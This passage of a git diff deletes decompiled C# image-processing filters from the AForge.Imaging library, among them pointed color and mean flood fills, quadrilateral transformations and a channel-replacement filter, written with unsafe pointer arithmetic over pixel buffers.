array2[num14 + 2] += *ptr; - num9++; - ptr += 3; - } - ptr += num3; - num8++; - num12++; - } - int num10 = num8 * pixelWidth; - int num11 = num8 * num5; - int i = 0; - num14 = 0; - while (i < num4 - 1) - { - array2[num14] /= num10; - array2[num14 + 1] /= num10; - array2[num14 + 2] /= num10; - i++; - num14 += 3; - } - array2[num14] /= num11; - array2[num14 + 1] /= num11; - array2[num14 + 2] /= num11; - num8 = 0; - while (num8 < pixelHeight && num13 < num2) - { - int num9 = 0; - while (num9 < width) - { - num14 = num9 / pixelWidth * 3; - ptr2[2] = (byte)array2[num14]; - ptr2[1] = (byte)array2[num14 + 1]; - *ptr2 = (byte)array2[num14 + 2]; - num9++; - ptr2 += 3; - } - ptr2 += num3; - num8++; - num13++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/PointedColorFloodFill.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/PointedColorFloodFill.cs deleted file mode 100644 index 1d78ed5..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/PointedColorFloodFill.cs +++ /dev/null @@ -1,303 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class PointedColorFloodFill : BaseInPlacePartialFilter -{ - private bool[,] checkedPixels; - - private unsafe byte* scan0; - - private int stride; - - private int startX; - - private int stopX; - - private int startY; - - private int stopY; - - private byte minR; - - private byte maxR; - - private byte minG; - - private byte maxG; - - private byte minB; - - private byte maxB; - - private byte fillR; - - private byte fillG; - - private byte fillB; - - private IntPoint startingPoint = new IntPoint(0, 0); - - private Color tolerance = Color.FromArgb(0, 0, 0); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Color Tolerance - { - get - { - return tolerance; - } - set - { - tolerance = value; - } - } - - public Color FillColor - { - get - { - return Color.FromArgb(fillR, fillG, fillB); - } - set - { - fillR = value.R; - fillG = value.G; - fillB = value.B; - } - } - - public IntPoint StartingPoint - { - get - { - return startingPoint; - } - set - { - startingPoint = value; - } - } - - public PointedColorFloodFill() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public PointedColorFloodFill(Color fillColor) - : this() - { - FillColor = fillColor; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0090: Unknown result type (might be due to invalid IL or missing references) - //IL_009a: Invalid comparison between Unknown and I4 - if (rect.Contains(startingPoint.X, startingPoint.Y)) - { - startX = rect.Left; - startY = rect.Top; - stopX = rect.Right - 1; - stopY = rect.Bottom - 1; - scan0 = (byte*)image.ImageData.ToPointer(); - stride = image.Stride; - checkedPixels = new bool[image.Height, image.Width]; - if ((int)image.PixelFormat == 198659) - { - byte b = *CoordsToPointerGray(startingPoint.X, startingPoint.Y); - minG = (byte)System.Math.Max(0, b - tolerance.G); - maxG = (byte)System.Math.Min(255, b + tolerance.G); - LinearFloodFill4Gray(startingPoint); - return; - } - byte* ptr = CoordsToPointerRGB(startingPoint.X, startingPoint.Y); - minR = (byte)System.Math.Max(0, ptr[2] - tolerance.R); - maxR = (byte)System.Math.Min(255, ptr[2] + tolerance.R); - minG = (byte)System.Math.Max(0, ptr[1] - tolerance.G); - maxG = (byte)System.Math.Min(255, ptr[1] + tolerance.G); - minB = (byte)System.Math.Max(0, *ptr - tolerance.B); - maxB = (byte)System.Math.Min(255, *ptr + tolerance.B); - LinearFloodFill4RGB(startingPoint); - } - } - - private unsafe void LinearFloodFill4Gray(IntPoint startingPoint) - { - Queue queue = new Queue(); - queue.Enqueue(startingPoint); - while (queue.Count > 0) - { - IntPoint intPoint = queue.Dequeue(); - int x = intPoint.X; - int y = intPoint.Y; - byte* ptr = CoordsToPointerGray(x, y); - int num = x; - byte* ptr2 = ptr; - do - { - *ptr2 = fillG; - checkedPixels[y, num] = true; - num--; - ptr2--; - } - while (num >= startX && !checkedPixels[y, num] && CheckGrayPixel(*ptr2)); - num++; - int num2 = x; - ptr2 = ptr; - do - { - *ptr2 = fillG; - checkedPixels[y, num2] = true; - num2++; - ptr2++; - } - while (num2 <= stopX && !checkedPixels[y, num2] && CheckGrayPixel(*ptr2)); - num2--; - ptr2 = CoordsToPointerGray(num, y); - bool flag = false; - bool flag2 = false; - int y2 = y - 1; - int y3 = y + 1; - int num3 = num; - while (num3 <= num2) - { - if (y > startY && !checkedPixels[y - 1, num3] && CheckGrayPixel(*(ptr2 - stride))) - { - if (!flag) - { - queue.Enqueue(new IntPoint(num3, y2)); - flag = true; - } - } - else - { - flag = false; - } - if (y < stopY && !checkedPixels[y + 1, num3] && CheckGrayPixel(ptr2[stride])) - { - if (!flag2) - { - queue.Enqueue(new IntPoint(num3, y3)); - flag2 = true; - } - } - else - { - flag2 = false; - } - num3++; - ptr2++; - } - } - } - - private unsafe void LinearFloodFill4RGB(IntPoint startPoint) - { - Queue queue = new Queue(); - queue.Enqueue(startingPoint); - while (queue.Count > 0) - { - IntPoint intPoint = queue.Dequeue(); - int x = intPoint.X; - int y = intPoint.Y; - byte* ptr = CoordsToPointerRGB(x, y); - int num = x; - byte* ptr2 = ptr; - do - { - ptr2[2] = fillR; - ptr2[1] = fillG; - *ptr2 = fillB; - checkedPixels[y, num] = true; - num--; - ptr2 -= 3; - } - while (num >= startX && !checkedPixels[y, num] && CheckRGBPixel(ptr2)); - num++; - int num2 = x; - ptr2 = ptr; - do - { - ptr2[2] = fillR; - ptr2[1] = fillG; - *ptr2 = fillB; - checkedPixels[y, num2] = true; - num2++; - ptr2 += 3; - } - while (num2 <= stopX && !checkedPixels[y, num2] && CheckRGBPixel(ptr2)); - num2--; - ptr2 = CoordsToPointerRGB(num, y); - bool flag = false; - bool flag2 = false; - int num3 = y - 1; - int num4 = y + 1; - int num5 = num; - while (num5 <= num2) - { - if (y > startY && !checkedPixels[num3, num5] && CheckRGBPixel(ptr2 - stride)) - { - if (!flag) - { - queue.Enqueue(new IntPoint(num5, num3)); - flag = true; - } - } - else - { - flag = false; - } - if (y < stopY && !checkedPixels[num4, num5] && CheckRGBPixel(ptr2 + stride)) - { - if (!flag2) - { - queue.Enqueue(new IntPoint(num5, num4)); - flag2 = true; - } - } - else - { - flag2 = false; - } - num5++; - ptr2 += 3; - } - } - } - - private bool CheckGrayPixel(byte pixel) - { - if (pixel >= minG) - { - return pixel <= maxG; - } - return false; - } - - private unsafe bool CheckRGBPixel(byte* pixel) - { - if (pixel[2] >= minR && pixel[2] <= maxR && pixel[1] >= minG && pixel[1] <= maxG && *pixel >= minB) - { - return *pixel <= maxB; - } - return false; - } - - private unsafe byte* CoordsToPointerGray(int x, int y) - { - return scan0 + (nint)stride * (nint)y + x; - } - - private unsafe byte* CoordsToPointerRGB(int x, int y) - { - return scan0 + (nint)stride * (nint)y + (nint)x * (nint)3; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/PointedMeanFloodFill.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/PointedMeanFloodFill.cs deleted file mode 100644 index 7e94a56..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/PointedMeanFloodFill.cs +++ /dev/null @@ -1,277 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class PointedMeanFloodFill : BaseInPlacePartialFilter -{ - private bool[,] checkedPixels; - - private unsafe byte* scan0; - - private int stride; - - private int startX; - - private int stopX; - - private int startY; - - private int stopY; - - private byte minR; - - private byte maxR; - - private byte minG; - - private byte maxG; - - private byte minB; - - private byte maxB; - - private int meanR; - - private int meanG; - - private int meanB; - - private int pixelsCount; - - private IntPoint startingPoint = new IntPoint(0, 0); - - private Color tolerance = Color.FromArgb(16, 16, 16); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Color Tolerance - { - get - { - return tolerance; - } - set - { - tolerance = value; - } - } - - public IntPoint StartingPoint - { - get - { - return startingPoint; - } - set - { - startingPoint = value; - } - } - - public PointedMeanFloodFill() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_00cb: Unknown result type (might be due to invalid IL or missing references) - //IL_00d5: Invalid comparison between Unknown and I4 - if (!rect.Contains(startingPoint.X, startingPoint.Y) || tolerance == Color.Black) - { - return; - } - startX = rect.Left; - startY = rect.Top; - stopX = rect.Right - 1; - stopY = rect.Bottom - 1; - scan0 = (byte*)image.ImageData.ToPointer(); - stride = image.Stride; - checkedPixels = new bool[image.Height, image.Width]; - pixelsCount = (meanR = (meanG = (meanB = 0))); - if ((int)image.PixelFormat == 198659) - { - byte b = *CoordsToPointerGray(startingPoint.X, startingPoint.Y); - minG = (byte)System.Math.Max(0, b - tolerance.G); - maxG = (byte)System.Math.Min(255, b + tolerance.G); - LinearFloodFill4Gray(startingPoint.X, startingPoint.Y); - meanG /= pixelsCount; - byte b2 = (byte)meanG; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += startY * stride + startX; - int num = stride - rect.Width; - for (int i = startY; i <= stopY; i++) - { - int num2 = startX; - while (num2 <= stopX) - { - if (checkedPixels[i, num2]) - { - *ptr = b2; - } - num2++; - ptr++; - } - ptr += num; - } - return; - } - byte* ptr2 = CoordsToPointerRGB(startingPoint.X, startingPoint.Y); - minR = (byte)System.Math.Max(0, ptr2[2] - tolerance.R); - maxR = (byte)System.Math.Min(255, ptr2[2] + tolerance.R); - minG = (byte)System.Math.Max(0, ptr2[1] - tolerance.G); - maxG = (byte)System.Math.Min(255, ptr2[1] + tolerance.G); - minB = (byte)System.Math.Max(0, *ptr2 - tolerance.B); - maxB = (byte)System.Math.Min(255, *ptr2 + tolerance.B); - LinearFloodFill4RGB(startingPoint.X, startingPoint.Y); - meanR /= pixelsCount; - meanG /= pixelsCount; - meanB /= pixelsCount; - byte b3 = (byte)meanR; - byte b4 = (byte)meanG; - byte b5 = (byte)meanB; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - ptr3 += startY * stride + startX * 3; - int num3 = stride - rect.Width * 3; - for (int j = startY; j <= stopY; j++) - { - int num4 = startX; - while (num4 <= stopX) - { - if (checkedPixels[j, num4]) - { - ptr3[2] = b3; - ptr3[1] = b4; - *ptr3 = b5; - } - num4++; - ptr3 += 3; - } - ptr3 += num3; - } - } - - private unsafe void LinearFloodFill4Gray(int x, int y) - { - byte* ptr = CoordsToPointerGray(x, y); - int num = x; - byte* ptr2 = ptr; - do - { - meanG += *ptr2; - pixelsCount++; - checkedPixels[y, num] = true; - num--; - ptr2--; - } - while (num >= startX && !checkedPixels[y, num] && CheckGrayPixel(*ptr2)); - num++; - int num2 = x + 1; - ptr2 = ptr + 1; - while (num2 <= stopX && !checkedPixels[y, num2] && CheckGrayPixel(*ptr2)) - { - meanG += *ptr2; - pixelsCount++; - checkedPixels[y, num2] = true; - num2++; - ptr2++; - } - num2--; - ptr2 = CoordsToPointerGray(num, y); - int num3 = num; - while (num3 <= num2) - { - if (y > startY && !checkedPixels[y - 1, num3] && CheckGrayPixel(*(ptr2 - stride))) - { - LinearFloodFill4Gray(num3, y - 1); - } - if (y < stopY && !checkedPixels[y + 1, num3] && CheckGrayPixel(ptr2[stride])) - { - LinearFloodFill4Gray(num3, y + 1); - } - num3++; - ptr2++; - } - } - - private unsafe void LinearFloodFill4RGB(int x, int y) - { - byte* ptr = CoordsToPointerRGB(x, y); - int num = x; - byte* ptr2 = ptr; - do - { - meanR += ptr2[2]; - meanG += ptr2[1]; - meanB += *ptr2; - pixelsCount++; - checkedPixels[y, num] = true; - num--; - ptr2 -= 3; - } - while (num >= startX && !checkedPixels[y, num] && CheckRGBPixel(ptr2)); - num++; - int num2 = x + 1; - ptr2 = ptr + 3; - while (num2 <= stopX && !checkedPixels[y, num2] && CheckRGBPixel(ptr2)) - { - meanR += ptr2[2]; - meanG += ptr2[1]; - meanB += *ptr2; - pixelsCount++; - checkedPixels[y, num2] = true; - num2++; - ptr2 += 3; - } - num2--; - ptr2 = CoordsToPointerRGB(num, y); - int num3 = num; - while (num3 <= num2) - { - if (y > startY && !checkedPixels[y - 1, num3] && CheckRGBPixel(ptr2 - stride)) - { - LinearFloodFill4RGB(num3, y - 1); - } - if (y < stopY && !checkedPixels[y + 1, num3] && CheckRGBPixel(ptr2 + stride)) - { - LinearFloodFill4RGB(num3, y + 1); - } - num3++; - ptr2 += 3; - } - } - - private bool CheckGrayPixel(byte pixel) - { - if (pixel >= minG) - { - return pixel <= maxG; - } - return false; - } - - private unsafe bool CheckRGBPixel(byte* pixel) - { - if (pixel[2] >= minR && pixel[2] <= maxR && pixel[1] >= minG && pixel[1] <= maxG && *pixel >= minB) - { - return *pixel <= maxB; - } - return false; - } - - private unsafe byte* CoordsToPointerGray(int x, int y) - { - return scan0 + (nint)stride * (nint)y + x; - } - - private unsafe byte* CoordsToPointerRGB(int x, int y) - { - return scan0 + (nint)stride * (nint)y + (nint)x * (nint)3; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadTransformationCalcs.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadTransformationCalcs.cs deleted file mode 100644 index 0eabdc3..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadTransformationCalcs.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System.Collections.Generic; - -namespace AForge.Imaging.Filters; - -internal static class QuadTransformationCalcs -{ - private const double TOLERANCE = 1E-13; - - private static double Det2(double a, double b, double c, double d) - { - return a * d - b * c; - } - - private static double[,] MultiplyMatrix(double[,] a, double[,] b) - { - return new double[3, 3] - { - { - a[0, 0] * b[0, 0] + a[0, 1] * b[1, 0] + a[0, 2] * b[2, 0], - a[0, 0] * b[0, 1] + a[0, 1] * b[1, 1] + a[0, 2] * b[2, 1], - a[0, 0] * b[0, 2] + a[0, 1] * b[1, 2] + a[0, 2] * b[2, 2] - }, - { - a[1, 0] * b[0, 0] + a[1, 1] * b[1, 0] + a[1, 2] * b[2, 0], - a[1, 0] * b[0, 1] + a[1, 1] * b[1, 1] + a[1, 2] * b[2, 1], - a[1, 0] * b[0, 2] + a[1, 1] * b[1, 2] + a[1, 2] * b[2, 2] - }, - { - a[2, 0] * b[0, 0] + a[2, 1] * b[1, 0] + a[2, 2] * b[2, 0], - a[2, 0] * b[0, 1] + a[2, 1] * b[1, 1] + a[2, 2] * b[2, 1], - a[2, 0] * b[0, 2] + a[2, 1] * b[1, 2] + a[2, 2] * b[2, 2] - } - }; - } - - private static double[,] AdjugateMatrix(double[,] a) - { - double[,] array = new double[3, 3]; - array[0, 0] = Det2(a[1, 1], a[1, 2], a[2, 1], a[2, 2]); - array[1, 0] = Det2(a[1, 2], a[1, 0], a[2, 2], a[2, 0]); - array[2, 0] = Det2(a[1, 0], a[1, 1], a[2, 0], a[2, 1]); - array[0, 1] = Det2(a[2, 1], a[2, 2], a[0, 1], a[0, 2]); - array[1, 1] = Det2(a[2, 2], a[2, 0], a[0, 2], a[0, 0]); - array[2, 1] = Det2(a[2, 0], a[2, 1], a[0, 0], a[0, 1]); - array[0, 2] = Det2(a[0, 1], a[0, 2], a[1, 1], a[1, 2]); - array[1, 2] = Det2(a[0, 2], a[0, 0], a[1, 2], a[1, 0]); - array[2, 2] = Det2(a[0, 0], a[0, 1], a[1, 0], a[1, 1]); - return array; - } - - private static double[,] MapSquareToQuad(List quad) - { - double[,] array = new double[3, 3]; - double num = quad[0].X - quad[1].X + quad[2].X - quad[3].X; - double num2 = quad[0].Y - quad[1].Y + quad[2].Y - quad[3].Y; - if (num < 1E-13 && num > -1E-13 && num2 < 1E-13 && num2 > -1E-13) - { - array[0, 0] = quad[1].X - quad[0].X; - array[0, 1] = quad[2].X - quad[1].X; - array[0, 2] = quad[0].X; - array[1, 0] = quad[1].Y - quad[0].Y; - array[1, 1] = quad[2].Y - quad[1].Y; - array[1, 2] = quad[0].Y; - array[2, 0] = 0.0; - array[2, 1] = 0.0; - array[2, 2] = 1.0; - } - else - { - double a = quad[1].X - quad[2].X; - double b = quad[3].X - quad[2].X; - double c = quad[1].Y - quad[2].Y; - double d = quad[3].Y - quad[2].Y; - double num3 = Det2(a, b, c, d); - if (num3 == 0.0) - { - return null; - } - array[2, 0] = Det2(num, b, num2, d) / num3; - array[2, 1] = Det2(a, num, c, num2) / num3; - array[2, 2] = 1.0; - array[0, 0] = (double)(quad[1].X - quad[0].X) + array[2, 0] * (double)quad[1].X; - array[0, 1] = (double)(quad[3].X - quad[0].X) + array[2, 1] * (double)quad[3].X; - array[0, 2] = quad[0].X; - array[1, 0] = (double)(quad[1].Y - quad[0].Y) + array[2, 0] * (double)quad[1].Y; - array[1, 1] = (double)(quad[3].Y - quad[0].Y) + array[2, 1] * (double)quad[3].Y; - array[1, 2] = quad[0].Y; - } - return array; - } - - public static double[,] MapQuadToQuad(List input, List output) - { - double[,] a = MapSquareToQuad(input); - double[,] array = MapSquareToQuad(output); - if (array == null) - { - return null; - } - return MultiplyMatrix(array, AdjugateMatrix(a)); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformation.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformation.cs deleted file mode 100644 index d36a0cc..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformation.cs +++ /dev/null @@ -1,239 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class QuadrilateralTransformation : BaseTransformationFilter -{ - private bool automaticSizeCalculaton = true; - - private bool useInterpolation = true; - - private Dictionary formatTranslations = new Dictionary(); - - protected int newWidth; - - protected int newHeight; - - private List sourceQuadrilateral; - - public override Dictionary FormatTranslations => formatTranslations; - - public bool AutomaticSizeCalculaton - { - get - { - return automaticSizeCalculaton; - } - set - { - automaticSizeCalculaton = value; - if (value) - { - CalculateDestinationSize(); - } - } - } - - public List SourceQuadrilateral - { - get - { - return sourceQuadrilateral; - } - set - { - sourceQuadrilateral = value; - if (automaticSizeCalculaton) - { - CalculateDestinationSize(); - } - } - } - - public int NewWidth - { - get - { - return newWidth; - } - set - { - if (!automaticSizeCalculaton) - { - newWidth = System.Math.Max(1, value); - } - } - } - - public int NewHeight - { - get - { - return newHeight; - } - set - { - if (!automaticSizeCalculaton) - { - newHeight = System.Math.Max(1, value); - } - } - } - - public bool UseInterpolation - { - get - { - return useInterpolation; - } - set - { - useInterpolation = value; - } - } - - public QuadrilateralTransformation() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)925707] = (PixelFormat)925707; - } - - public QuadrilateralTransformation(List sourceQuadrilateral, int newWidth, int newHeight) - : this() - { - automaticSizeCalculaton = false; - this.sourceQuadrilateral = sourceQuadrilateral; - this.newWidth = newWidth; - this.newHeight = newHeight; - } - - public QuadrilateralTransformation(List sourceQuadrilateral) - : this() - { - automaticSizeCalculaton = true; - this.sourceQuadrilateral = sourceQuadrilateral; - CalculateDestinationSize(); - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - if (sourceQuadrilateral == null) - { - throw new NullReferenceException("Source quadrilateral was not set."); - } - return new Size(newWidth, newHeight); - } - - private void CalculateDestinationSize() - { - if (sourceQuadrilateral == null) - { - throw new NullReferenceException("Source quadrilateral was not set."); - } - newWidth = (int)System.Math.Max(sourceQuadrilateral[0].DistanceTo(sourceQuadrilateral[1]), sourceQuadrilateral[2].DistanceTo(sourceQuadrilateral[3])); - newHeight = (int)System.Math.Max(sourceQuadrilateral[1].DistanceTo(sourceQuadrilateral[2]), sourceQuadrilateral[3].DistanceTo(sourceQuadrilateral[0])); - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - int width = sourceData.Width; - int height = sourceData.Height; - int width2 = destinationData.Width; - int height2 = destinationData.Height; - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - int num2 = stride2 - width2 * num; - List list = new List(); - list.Add(new IntPoint(0, 0)); - list.Add(new IntPoint(width2 - 1, 0)); - list.Add(new IntPoint(width2 - 1, height2 - 1)); - list.Add(new IntPoint(0, height2 - 1)); - double[,] array = QuadTransformationCalcs.MapQuadToQuad(list, sourceQuadrilateral); - byte* ptr = (byte*)destinationData.ImageData.ToPointer(); - byte* ptr2 = (byte*)sourceData.ImageData.ToPointer(); - if (!useInterpolation) - { - for (int i = 0; i < height2; i++) - { - for (int j = 0; j < width2; j++) - { - double num3 = array[2, 0] * (double)j + array[2, 1] * (double)i + array[2, 2]; - double num4 = (array[0, 0] * (double)j + array[0, 1] * (double)i + array[0, 2]) / num3; - double num5 = (array[1, 0] * (double)j + array[1, 1] * (double)i + array[1, 2]) / num3; - if (num4 >= 0.0 && num5 >= 0.0 && num4 < (double)width && num5 < (double)height) - { - byte* ptr3 = ptr2 + (nint)(int)num5 * (nint)stride + (nint)(int)num4 * (nint)num; - int num6 = 0; - while (num6 < num) - { - *ptr = *ptr3; - num6++; - ptr++; - ptr3++; - } - } - else - { - ptr += num; - } - } - ptr += num2; - } - return; - } - int num7 = width - 1; - int num8 = height - 1; - for (int k = 0; k < height2; k++) - { - for (int l = 0; l < width2; l++) - { - double num9 = array[2, 0] * (double)l + array[2, 1] * (double)k + array[2, 2]; - double num10 = (array[0, 0] * (double)l + array[0, 1] * (double)k + array[0, 2]) / num9; - double num11 = (array[1, 0] * (double)l + array[1, 1] * (double)k + array[1, 2]) / num9; - if (num10 >= 0.0 && num11 >= 0.0 && num10 < (double)width && num11 < (double)height) - { - int num12 = (int)num10; - int num13 = ((num12 == num7) ? num12 : (num12 + 1)); - double num14 = num10 - (double)num12; - double num15 = 1.0 - num14; - int num16 = (int)num11; - int num17 = ((num16 == num8) ? num16 : (num16 + 1)); - double num18 = num11 - (double)num16; - double num19 = 1.0 - num18; - byte* ptr5; - byte* ptr4 = (ptr5 = ptr2 + (nint)num16 * (nint)stride); - ptr4 += (nint)num12 * (nint)num; - ptr5 += (nint)num13 * (nint)num; - byte* ptr7; - byte* ptr6 = (ptr7 = ptr2 + (nint)num17 * (nint)stride); - ptr6 += (nint)num12 * (nint)num; - ptr7 += (nint)num13 * (nint)num; - int num20 = 0; - while (num20 < num) - { - *ptr = (byte)(num19 * (num15 * (double)(int)(*ptr4) + num14 * (double)(int)(*ptr5)) + num18 * (num15 * (double)(int)(*ptr6) + num14 * (double)(int)(*ptr7))); - num20++; - ptr++; - ptr4++; - ptr5++; - ptr6++; - ptr7++; - } - } - else - { - ptr += num; - } - } - ptr += num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformationBilinear.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformationBilinear.cs deleted file mode 100644 index 4941c31..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformationBilinear.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -[Obsolete("The class is deprecated and SimpleQuadrilateralTransformation should be used instead")] -public class QuadrilateralTransformationBilinear : BaseTransformationFilter -{ - private SimpleQuadrilateralTransformation baseFilter; - - public override Dictionary FormatTranslations => baseFilter.FormatTranslations; - - public bool AutomaticSizeCalculaton - { - get - { - return baseFilter.AutomaticSizeCalculaton; - } - set - { - baseFilter.AutomaticSizeCalculaton = value; - } - } - - public List SourceCorners - { - get - { - return baseFilter.SourceQuadrilateral; - } - set - { - baseFilter.SourceQuadrilateral = value; - } - } - - public int NewWidth - { - get - { - return baseFilter.NewWidth; - } - set - { - baseFilter.NewWidth = value; - } - } - - public int NewHeight - { - get - { - return baseFilter.NewHeight; - } - set - { - baseFilter.NewHeight = value; - } - } - - public QuadrilateralTransformationBilinear(List sourceCorners, int newWidth, int newHeight) - { - baseFilter = new SimpleQuadrilateralTransformation(sourceCorners, newWidth, newHeight); - baseFilter.UseInterpolation = true; - } - - public QuadrilateralTransformationBilinear(List sourceCorners) - { - baseFilter = new SimpleQuadrilateralTransformation(sourceCorners); - baseFilter.UseInterpolation = true; - } - - protected override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - baseFilter.Apply(sourceData, destinationData); - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - foreach (IntPoint item in baseFilter.SourceQuadrilateral) - { - if (item.X < 0 || item.Y < 0 || item.X >= sourceData.Width || item.Y >= sourceData.Height) - { - throw new ArgumentException("The specified quadrilateral's corners are outside of the given image."); - } - } - return new Size(baseFilter.NewWidth, baseFilter.NewHeight); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformationNearestNeighbor.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformationNearestNeighbor.cs deleted file mode 100644 index 4678e07..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/QuadrilateralTransformationNearestNeighbor.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -[Obsolete("The class is deprecated and SimpleQuadrilateralTransformation should be used instead")] -public class QuadrilateralTransformationNearestNeighbor : BaseTransformationFilter -{ - private SimpleQuadrilateralTransformation baseFilter; - - public override Dictionary FormatTranslations => baseFilter.FormatTranslations; - - public bool AutomaticSizeCalculaton - { - get - { - return baseFilter.AutomaticSizeCalculaton; - } - set - { - baseFilter.AutomaticSizeCalculaton = value; - } - } - - public List SourceCorners - { - get - { - return baseFilter.SourceQuadrilateral; - } - set - { - baseFilter.SourceQuadrilateral = value; - } - } - - public int NewWidth - { - get - { - return baseFilter.NewWidth; - } - set - { - baseFilter.NewWidth = value; - } - } - - public int NewHeight - { - get - { - return baseFilter.NewHeight; - } - set - { - baseFilter.NewHeight = value; - } - } - - public QuadrilateralTransformationNearestNeighbor(List sourceCorners, int newWidth, int newHeight) - { - baseFilter = new SimpleQuadrilateralTransformation(sourceCorners, newWidth, newHeight); - baseFilter.UseInterpolation = false; - } - - public QuadrilateralTransformationNearestNeighbor(List sourceCorners) - { - baseFilter = new SimpleQuadrilateralTransformation(sourceCorners); - baseFilter.UseInterpolation = false; - } - - protected override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - baseFilter.Apply(sourceData, destinationData); - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - foreach (IntPoint item in baseFilter.SourceQuadrilateral) - { - if (item.X < 0 || item.Y < 0 || item.X >= sourceData.Width || item.Y >= sourceData.Height) - { - throw new ArgumentException("The specified quadrilateral's corners are outside of the given image."); - } - } - return new Size(baseFilter.NewWidth, baseFilter.NewHeight); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ReplaceChannel.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ReplaceChannel.cs deleted file mode 100644 index 5e6916f..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ReplaceChannel.cs +++ /dev/null @@ -1,213 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ReplaceChannel : BaseInPlacePartialFilter -{ - private short channel = 2; - - private Bitmap channelImage; - - private UnmanagedImage unmanagedChannelImage; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public short Channel - { - get - { - return channel; - } - set - { - if (value != 2 && value != 1 && value != 0 && value != 3) - { - throw new ArgumentException("Invalid channel is specified."); - } - channel = value; - } - } - - public Bitmap ChannelImage - { - get - { - return channelImage; - } - set - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Invalid comparison between Unknown and I4 - //IL_001c: Unknown result type (might be due to invalid IL or missing references) - //IL_0026: Invalid comparison between Unknown and I4 - if (value == null) - { - throw new NullReferenceException("Channel image was not specified."); - } - if ((int)((Image)value).PixelFormat != 198659 && (int)((Image)value).PixelFormat != 1052676) - { - throw new InvalidImagePropertiesException("Channel image should be 8 bpp indexed or 16 bpp grayscale image."); - } - channelImage = value; - unmanagedChannelImage = null; - } - } - - public UnmanagedImage UnmanagedChannelImage - { - get - { - return unmanagedChannelImage; - } - set - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Invalid comparison between Unknown and I4 - //IL_001c: Unknown result type (might be due to invalid IL or missing references) - //IL_0026: Invalid comparison between Unknown and I4 - if (value == null) - { - throw new NullReferenceException("Channel image was not specified."); - } - if ((int)value.PixelFormat != 198659 && (int)value.PixelFormat != 1052676) - { - throw new InvalidImagePropertiesException("Channel image should be 8 bpp indexed or 16 bpp grayscale image."); - } - channelImage = null; - unmanagedChannelImage = value; - } - } - - private ReplaceChannel() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = 